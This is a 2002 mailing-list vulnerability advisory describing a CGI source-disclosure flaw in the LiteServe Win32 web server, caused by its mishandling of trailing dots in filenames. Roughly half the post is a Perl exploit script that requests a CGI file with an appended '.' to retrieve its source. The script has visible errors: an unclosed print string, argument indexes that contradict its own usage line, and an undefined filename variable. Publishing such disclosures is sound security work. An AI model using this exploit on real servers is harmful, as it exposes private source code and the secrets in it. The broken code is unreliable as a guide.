[VulnWatch] Perception LiteServe HTTP CGI Disclosure Vulnerability

From: mattmurphy@kc.rr.com
Date: 11/14/02

  • Next message: Matthew Murphy: "[VulnWatch] LiteServe URL Decoding DoS"

    From: "mattmurphy@kc.rr.com" <mattmurphy@kc.rr.com>
    To: news@securiteam.com, vulnwatch@vulnwatch.org, bugtraq@securityfocus.com
    Date: Thu, 14 Nov 2002 16:38:42 -0500
    
    

    Christopher Fillion's "Perception" web site hosts the LiteServe combination
    server for Win32. The server offers HTTP, FTP, SMTP, POP3, and Telnet
    services. Included in the HTTP service is a Common Gateway Interface (CGI)
    feature that allows you to specify a CGI alias, as well as "filters" that
    are run when a file of a particular type is accessed.

    A vulnerability in the server related to the handling of filenames on Win32
    platforms may reveal the code of a desired CGI script to an attacker.
    Windows handles file names with the "." character (0x2E) on the end as if
    the said character had been removed. LiteServe fails to compensate for
    this behavior, and is vulnerable to a simple CGI disclosure attack.

    The upcoming release of LiteServe 2.03 should eliminate this vulnerability.

    Exploit

    #!/usr/bin/perl
    #
    # LS_FETCH.PL
    # By Matthew Murphy
    # LiteServe 2.02 and prior - CGI Disclosure
    # Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
    use IO::Socket;
    use URI::Escape;

    $alias = "cgi-isapi"; # Default LiteServe CGI alias
    $port = 80;
    if (@ARGV < 2 || @ARGV > 4) {
    print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
    } else {
    if (@ARGV >= 3) {
    $alias = $ARGV[2];
    }
    if (@ARGV == 4) {
    $port = $ARGV[3];
    }
    $filename = $ARGV[1];
    $host = $ARGV[2];
    $f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
    $f->autoflush(1);
    $b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
    print $f $b;
    while (defined($line=<$f>)) {
    print STDOUT $line;
    }
    undef $f;
    }

    --------------------------------------------------------------------
    mail2web - Check your email from the web at
    http://mail2web.com/ .



    Relevant Pages